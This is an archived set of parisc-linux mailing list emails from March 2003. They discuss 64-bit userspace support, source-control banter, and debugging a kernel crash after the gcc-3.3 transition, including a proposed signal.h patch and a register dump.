X-Mailer: Internet Mail Service (5.5.2655.55)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18015

Hi people,

	I ask you again about what is necessary to develop the 64 bit
userspace to run applications because maybe HP could give some suport =
to
finish this.
	I try to get some HP help, but to do this I will give them a
detailed report with what is necessary to develop 64 bit userspace and =
how
to do this (kernel changes, user space and application frame work).=20
	What informations is needed to follow the work.
	However, any help and information is welcome to I finish this report
and try to get HP help.

	Thanks in advance and by yours efforts,

=09
-----------------------------------------------------------------------
	              Leandro Marcondes Farinati
	                    Software Developer

	*   leandro.farinati@hp.com

>  -----Original Message-----
> From: 	Leandro Farinati   On Behalf Of FARINATI,LEANDRO
> (HP-Brazil,ex1)
> Sent:	ter=E7a-feira, 18 de mar=E7o de 2003 17:58
> To:	Parisc-Linux List (E-mail)
> Subject:	64 bit userspace
>=20
> Hi people,
>=20
> 	I would to know, what be missing to finish 64 bit userspace to we
> run 64 bit applications?
> 	If someone could enumerate the missing items and where we could
> access this development source, maybe I can give some help in this
> development.
>=20
> 	Thanks in advance,
>=20
> =
-----------------------------------------------------------------------
>               Leandro Marcondes Farinati
>                     Software Developer
>=20
> *   leandro.farinati@hp.com
>=20
>=20


From - Thu Nov 08 21:27:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: m.delahaye@esiee.fr (Matthieu Delahaye)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] CVSy stuff
Date: Thu, 20 Mar 2003 17:12:59 +0100
Lines: 13
Approved: news@gmane.org
Message-ID: <20030320161259.GA4517@charrue.esiee.fr>
References: <20030318143337.GF14520@parcelfarce.linux.theplanet.co.uk> <20030320152147.GA27039@marmite.its.uct.ac.za> <20030320152316.GA3990@charrue.esiee.fr> <1048180336.2973.5.camel@irongate.swansea.linux.org.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622311 23420 80.91.229.3 (22 Nov 2014 02:11:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:51 +0000 (UTC)
Cc: Matthieu Delahaye <m.delahaye@esiee.fr>,
	Michael Wood <mwood@its.uct.ac.za>,
	Matthew Wilcox <willy@debian.org>,
	HPPA List <parisc-linux@parisc-linux.org>
To: Alan Cox <alan@lxorguk.ukuu.org.uk>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Mar 20 09:20:12 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id C0D8F48D7
	for <parisc-linux@parisc-linux.org>; Thu, 20 Mar 2003 09:20:11 -0700 (MST)
Original-Received: from 127.0.0.1 (localhost.esiee.fr [127.0.0.1])
	by dummy.domain.name (Postfix) with SMTP
	id 1884549C32; Thu, 20 Mar 2003 17:20:10 +0100 (CET)
Original-Received: from charrue.esiee.fr (charrue.esiee.fr [147.215.7.31])
	by mail.esiee.fr (Postfix) with ESMTP
	id DFA0C49BEB; Thu, 20 Mar 2003 17:20:09 +0100 (CET)
Original-Received: by charrue.esiee.fr (Postfix, from userid 1000)
	id EA4FF24286; Thu, 20 Mar 2003 17:12:59 +0100 (CET)
Content-Disposition: inline
In-Reply-To: <1048180336.2973.5.camel@irongate.swansea.linux.org.uk>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18016

On Thu, Mar 20, 2003 at 05:12:17PM +0000, Alan Cox wrote:
> On Thu, 2003-03-20 at 15:23, Matthieu Delahaye wrote:
> > > I don't want to start an SCM flamewar, but, since Thibaut already
> > > mentioned BK... :) 
> > 
> > It's now clear french humour will never be understood by non-natives.
> 
> Some of it is (http://www.bretzelforbush.com/) for example 8)
> 
Bouh, the "bookmark this page" link doesn't work. Stupid french.




From - Thu Nov 08 21:27:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] RE: 64 bit userspace
Date: Thu, 20 Mar 2003 11:36:23 -0500 (EST)
Lines: 30
Approved: news@gmane.org
Message-ID: <200303201636.h2KGaNqW026825@hiauly1.hia.nrc.ca>
References: <9A0482A7BD2506488AD9417C93F3714F01FC0A0F@xsp01.brazil.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622311 23429 80.91.229.3 (22 Nov 2014 02:11:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:51 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: leandro.farinati@hp.com (FARINATI, LEANDRO)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Mar 20 09:36:30 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id BC40348D7
	for <parisc-linux@lists.parisc-linux.org>; Thu, 20 Mar 2003 09:36:29 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.8/8.12.8) with ESMTP id h2KGaOsQ026833;
	Thu, 20 Mar 2003 11:36:24 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.8/8.12.8/Submit) id h2KGaNqW026825;
	Thu, 20 Mar 2003 11:36:23 -0500 (EST)
In-Reply-To: <9A0482A7BD2506488AD9417C93F3714F01FC0A0F@xsp01.brazil.hp.com> from "FARINATI,LEANDRO" at Mar 20, 2003 11:08:59 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18017

Hi Leandro,

> 	I ask you again about what is necessary to develop the 64 bit
> userspace to run applications because maybe HP could give some suport to
> finish this.
> 	I try to get some HP help, but to do this I will give them a
> detailed report with what is necessary to develop 64 bit userspace and how
> to do this (kernel changes, user space and application frame work). 
> 	What informations is needed to follow the work.
> 	However, any help and information is welcome to I finish this report
> and try to get HP help.

If you are going to take the lead in generating this report, I think
it would work better if you posted what you have and asked for comments.
Just feeding information into a blackhole isn't very interesting.

As I see it, this will only move forward if there is sufficient
interest in the community.  You lose about 10% in performance in
the average program moving to 64-bits.  So, you only want to go to
64-bits if you have a need to run large applications.  This need
may exist in commercial and scientific computing, but it's not
important to the average volunteer software developer.  If HP wants
to get the port moving in this direction, there needs to be a
carrot.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)


From - Thu Nov 08 21:27:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] CVSy stuff
Date: Thu, 20 Mar 2003 17:38:54 +0100
Lines: 14
Approved: news@gmane.org
Message-ID: <70A96694-5AF2-11D7-9B6B-0030656F07A2@esiee.fr>
References: <1048180336.2973.5.camel@irongate.swansea.linux.org.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v551)
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416622311 23434 80.91.229.3 (22 Nov 2014 02:11:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:51 +0000 (UTC)
Cc: Matthieu Delahaye <m.delahaye@esiee.fr>,
	Michael Wood <mwood@its.uct.ac.za>,
	Matthew Wilcox <willy@debian.org>,
	HPPA List <parisc-linux@parisc-linux.org>
To: Alan Cox <alan@lxorguk.ukuu.org.uk>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Mar 20 09:38:57 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id D1F7448D7
	for <parisc-linux@parisc-linux.org>; Thu, 20 Mar 2003 09:38:56 -0700 (MST)
Original-Received: from 127.0.0.1 (localhost.esiee.fr [127.0.0.1])
	by dummy.domain.name (Postfix) with SMTP
	id 1381B49D97; Thu, 20 Mar 2003 17:38:55 +0100 (CET)
Original-Received: from esiee.fr (npyu.esiee.fr [147.215.7.13])
	by mail.esiee.fr (Postfix) with ESMTP
	id 8453349C32; Thu, 20 Mar 2003 17:38:54 +0100 (CET)
In-Reply-To: <1048180336.2973.5.camel@irongate.swansea.linux.org.uk>
X-Mailer: Apple Mail (2.551)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18018

Le jeudi, 20 mar 2003, =E0 18:12 Europe/Paris, Alan Cox a =E9crit :

> On Thu, 2003-03-20 at 15:23, Matthieu Delahaye wrote:
>>> I don't want to start an SCM flamewar, but, since Thibaut already
>>> mentioned BK... :)
>>
>> It's now clear french humour will never be understood by non-natives.
>
> Some of it is (http://www.bretzelforbush.com/) for example 8)
>
What would French humour be without American help? ;^)




From - Thu Nov 08 21:27:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: gcc-3.2 -> gcc-3.3 transition on hppa
Date: Thu, 20 Mar 2003 18:51:27 +0100
Lines: 162
Approved: news@gmane.org
Message-ID: <3E689FC4000046DF__38199.8661593117$1416622312$gmane$org@ocpmta1.freegates.net>
References: <200303182055.h2IKthRI017578@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622312 23444 80.91.229.3 (22 Nov 2014 02:11:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:52 +0000 (UTC)
Cc: b.gunreben@web.de, willy@debian.org, doko@cs.tu-berlin.de,
	debian-hppa@lists.debian.org, debian-gcc@lists.debian.org,
	parisc-linux@lists.parisc-linux.org, kuznet@ms2.inr.ac.ru,
	linux-net@vger.kernel.org
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>, tausq@debian.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Mar 20 10:51:43 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm2.tiscalinet.be [212.35.2.51])
	by dsl2.external.hp.com (Postfix) with ESMTP id C3B3048D7
	for <parisc-linux@lists.parisc-linux.org>; Thu, 20 Mar 2003 10:51:42 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18w4CO-0003kY-00; Thu, 20 Mar 2003 18:51:28 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Thu, 20 Mar 2003 18:51:27 +0100
In-Reply-To: <200303182055.h2IKthRI017578@hiauly1.hia.nrc.ca>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18019

>> 
>> these are definitely kernel addresses....
>
>Right.  I see the code that's causing the problem in kernel/signal.c:
>
>                if (k->sa.sa_handler == SIG_IGN
>		    || (k->sa.sa_handler == SIG_DFL
>
>
>You don't want to canonicalize k->sa.sa_handler here, so a cast to
>void * or something is needed.  The PA is the only port that I am
>aware of that needs to canonicalize function pointers.
>
Well I try to test some:
--- signal.h.orig       2003-03-20 15:12:24.000000000 +0100
+++ signal.h    2003-03-20 15:11:47.000000000 +0100
@@ -106,9 +106,15 @@
 #define SIG_UNBLOCK        1   /* for unblocking signals */
 #define SIG_SETMASK        2   /* for setting the signal mask */
 
+#if __GNUC__ == 3 && __GNUC_MINOR__ >= 3 || __GNUC__ > 3
+#define SIG_DFL        (0)                     /* default signal handling
*/
+#define SIG_IGN        (1)                     /* ignore signal */
+#define SIG_ERR        (-1)                    /* error return from signal
*/
+#else
 #define SIG_DFL        ((__sighandler_t)0)     /* default signal handling
*/
 #define SIG_IGN        ((__sighandler_t)1)     /* ignore signal */
 #define SIG_ERR        ((__sighandler_t)-1)    /* error return from signal
*/
+#endif
 
 # ifndef __ASSEMBLY__

Unfortunaltely, I don't actualy know if it could help because I update kernel
src to pa31 and the problem move to:

IAOQ = 102f1e6c
Func: $lcfu_loop, Off: 0, Addr: 0x102f1e6c
102f1e60:	08 16 32 40 	or,<> r22,r0,r0
102f1e64:	08 00 02 41 	copy r0,r1
102f1e68:	00 01 58 20 	mtsp r1,sr1
102f1e6c <$lcfu_loop>:
102f1e6c:	0f 22 50 21 	ldb,ma 1(sr1,r25),r1
102f1e70:	af 1f 3f ed 	addib,<> -1,r24,102f1e6c <$lcfu_loop>

GR0 = 00000000

GR1 = 000000dd

GR2 = 1016dd94
Func: copy_mount_options, Off: 70, Addr: 0x1016dd94
1016dd90:	08 04 02 58 	copy r4,r24
1016dd94:	0b 84 04 04 	sub r4,ret0,r4
1016dd98:	08 03 02 5a 	copy r3,r26
1016dd9c:	84 80 20 70 	cmpib,= 0,r4,1016dddc <copy_mount_options+0xb8>

GR3 = 1ffb9000

GR4 = 00001000

GR5 = 1ffff005

GR6 = 00001000

GR7 = 107c8788

GR8 = 103ab810
Func: packet_init, Off: 3c, Addr: 0x103ab810
103ab810:	87 80 20 18 	cmpib,= 0,ret0,103ab824 <packet_init+0x50>
103ab814:	22 72 12 06 	ldil 10324800,r19
103ab818:	4a 74 09 48 	ldw 4a4(r19),r20
103ab81c:	6b 80 00 68 	stw r0,34(ret0)

GR9 = 103e0010
Func: Version_132116, Off: 0, Addr: 0x103e0010

GR10 = 10418010
Func: blkdevs, Off: 4e4, Addr: 0x10418010

GR11 = 102f8000
Func: ic_bootp_cookie, Off: 440, Addr: 0x102f8000

GR12 = 10340810
Func: syscall_names, Off: 49c, Addr: 0x10340810

GR13 = 10413810
Func: log_buf, Off: 79e4, Addr: 0x10413810

GR14 = 00000000

GR15 = f0400004

GR16 = f00008c4

GR17 = f000017c

GR18 = f0000174

GR19 = 107c8000

GR20 = bffd00d5

GR21 = f0047000

GR22 = 00000000

GR23 = 00000000

GR24 = 00000005

GR25 = 20000000

GR26 = 1ffb9ffb

GR27 = 10330010
Func: $global$, Off: 0, Addr: 0x10330010

GR28 = fffffff4

GR29 = 80dea173

GR30 = 107c8880

GR31 = 101563e4
Func: blkdev_put, Off: 1f4, Addr: 0x101563e4
101562bc:	86 60 22 50 	cmpib,= 0,r19,101563ec <blkdev_put+0x1fc>
101563e0:	08 1f 02 42 	copy r31,rp
101563e4:	c9 1c 9d d5 	movb,tr ret0,r8,101562d4 <blkdev_put+0xe4>
101563e8:	48 b3 00 30 	ldw 18(r5),r19
101563ec:	08 05 02 5a 	copy r5,r26

Kernel symbols on the stack:
[<1016dd60>]: Func: copy_mount_options, Off: 3c, Addr: 0x1016dd60
[<1016e5e8>]: Func: sys_mount, Off: 30, Addr: 0x1016e5e8
[<101004b8>]: Func: prepare_namespace, Off: bc, Addr: 0x101004b8
[<10100240>]: Func: init, Off: 58, Addr: 0x10100240
[<10108c4c>]: Func: ret_from_kernel_thread, Off: 18, Addr: 0x10108c4c
[<10108cf4>]: Func: _switch_to_ret, Off: 0, Addr: 0x10108cf4
[<1012187c>]: Func: call_console_drivers, Off: b8, Addr: 0x1012187c
[<1012187c>]: Func: call_console_drivers, Off: b8, Addr: 0x1012187c
[<10121d2c>]: Func: release_console_sem, Off: 50, Addr: 0x10121d2c
[<10121b94>]: Func: printk, Off: 1f0, Addr: 0x10121b94
[<101001e8>]: Func: init, Off: 0, Addr: 0x101001e8
[<10126488>]: Func: it_real_fn, Off: 0, Addr: 0x10126488

Any other additional idea?

Thanks,
    Joel


---------------------------------
Vous surfez avec une ligne classique ?
Economisez jusqu' 25% avec Tiscali Complete !
Offre spciale : premire anne d'abonnement offerte.
... Plus d'info sur http://complete.tiscali.be




From - Thu Nov 08 21:27:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: gcc-3.2 -> gcc-3.3 transition on hppa
Date: Thu, 20 Mar 2003 19:06:36 +0100
Lines: 42
Approved: news@gmane.org
Message-ID: <3E689FC400004700__10221.0540943362$1416622312$gmane$org@ocpmta1.freegates.net>
References: <3E68A24B00000CC9@ocpmta6.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622312 23450 80.91.229.3 (22 Nov 2014 02:11:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:52 +0000 (UTC)
Cc: "Matthias Klose" <doko@cs.tu-berlin.de>,
	debian-hppa@lists.debian.org, debian-gcc@lists.debian.org,
	parisc-linux@lists.parisc-linux.org
To: "Randolph Chung" <tausq@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Mar 20 11:06:55 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm3.tiscalinet.be [212.35.2.72])
	by dsl2.external.hp.com (Postfix) with ESMTP id 33E6C48D7
	for <parisc-linux@lists.parisc-linux.org>; Thu, 20 Mar 2003 11:06:55 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18w4R3-0003kd-00; Thu, 20 Mar 2003 19:06:37 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Thu, 20 Mar 2003 19:06:36 +0100
In-Reply-To: <3E68A24B00000CC9@ocpmta6.freegates.net>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18020

Hi Randolph,

>>
>>> I am looking to rebuild gcc-3.3 64bits to rebuild the last kernel 2.4
>to
>>> conitnue my investigation about smp(64bits) [which failled to boot on
>a
>>N4000
>>> when compile d with gcc-3.2 get from unofficial-debs].
>>
>>If you are working on 64-bit, I would advise staying with 3.0.4 for
>>now.... no one has tested 3.3 hppa64-linux-gcc at all, so it will just
>>be introducing more unknowns into the problem.
>>
>Ok I am gonna try to rebuild it with gcc-3.0.
>
Well just a small follow up to say that I had not much success with gcc-3.0
(64bits).

Also I did some other test:
this same kernel (smp64) boots well on a b2k (pa8600 up),
it boots also well on the N4000 when I 'disable' the second cpu?

(It seems to fail before 'Add swap...' but not sure because I notice that
all boot blabla is not output to the console [ie compare to dmesg nothing
is print out before 'sym53c8xx: at PCI...']?)

I will so try to ack dump_analyser to see how may I got analyse of the piminfo
which I grab from the two processor.

See you,
    Joel


---------------------------------
Vous surfez avec une ligne classique ?
Economisez jusqu' 25% avec Tiscali Complete !
Offre spciale : premire anne d'abonnement offerte.
... Plus d'info sur http://complete.tiscali.be




From - Thu Nov 08 21:27:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: gcc-3.2 -> gcc-3.3 transition on hppa
Date: Thu, 20 Mar 2003 13:13:49 -0500 (EST)
Lines: 50
Approved: news@gmane.org
Message-ID: <200303201813.h2KIDn3P007214__46606.6620931544$1416622312$gmane$org@hiauly1.hia.nrc.ca>
References: <3E689FC4000046DF@ocpmta1.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622312 23454 80.91.229.3 (22 Nov 2014 02:11:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:52 +0000 (UTC)
Cc: tausq@debian.org, b.gunreben@web.de, willy@debian.org,
	doko@cs.tu-berlin.de, debian-hppa@lists.debian.org,
	debian-gcc@lists.debian.org, parisc-linux@lists.parisc-linux.org,
	kuznet@ms2.inr.ac.ru, linux-net@vger.kernel.org
To: jsoe0708@tiscali.be (Joel Soete)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Mar 20 11:14:09 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1AC6948D7
	for <parisc-linux@lists.parisc-linux.org>; Thu, 20 Mar 2003 11:14:09 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.8/8.12.8) with ESMTP id h2KIDpsQ007215;
	Thu, 20 Mar 2003 13:13:52 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.8/8.12.8/Submit) id h2KIDn3P007214;
	Thu, 20 Mar 2003 13:13:49 -0500 (EST)
In-Reply-To: <3E689FC4000046DF@ocpmta1.freegates.net> from "Joel Soete" at Mar 20, 2003 06:51:27 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18021

> >> 
> >> these are definitely kernel addresses....
> >
> >Right.  I see the code that's causing the problem in kernel/signal.c:
> >
> >                if (k->sa.sa_handler == SIG_IGN
> >		    || (k->sa.sa_handler == SIG_DFL
> >
> >
> >You don't want to canonicalize k->sa.sa_handler here, so a cast to
> >void * or something is needed.  The PA is the only port that I am
> >aware of that needs to canonicalize function pointers.
> >
> Well I try to test some:
> --- signal.h.orig       2003-03-20 15:12:24.000000000 +0100
> +++ signal.h    2003-03-20 15:11:47.000000000 +0100
> @@ -106,9 +106,15 @@
>  #define SIG_UNBLOCK        1   /* for unblocking signals */
>  #define SIG_SETMASK        2   /* for setting the signal mask */
>  
> +#if __GNUC__ == 3 && __GNUC_MINOR__ >= 3 || __GNUC__ > 3
> +#define SIG_DFL        (0)                     /* default signal handling
> */
> +#define SIG_IGN        (1)                     /* ignore signal */
> +#define SIG_ERR        (-1)                    /* error return from signal
> */
> +#else
>  #define SIG_DFL        ((__sighandler_t)0)     /* default signal handling
> */
>  #define SIG_IGN        ((__sighandler_t)1)     /* ignore signal */
>  #define SIG_ERR        ((__sighandler_t)-1)    /* error return from signal
> */
> +#endif

No, don't do that.  SIG_DFL, SIG_IGN and SIG_ERR expand to compound
literals.  Look at the assembly output from the following little
program (gcc -S) with and without the "void *" cast.

typedef int (*__sighandler_t)(void);
#define SIG_IGN        ((__sighandler_t)1)
int foo (__sighandler_t g)
{
  return g == (void *)SIG_IGN;
}

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)


From - Thu Nov 08 21:27:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
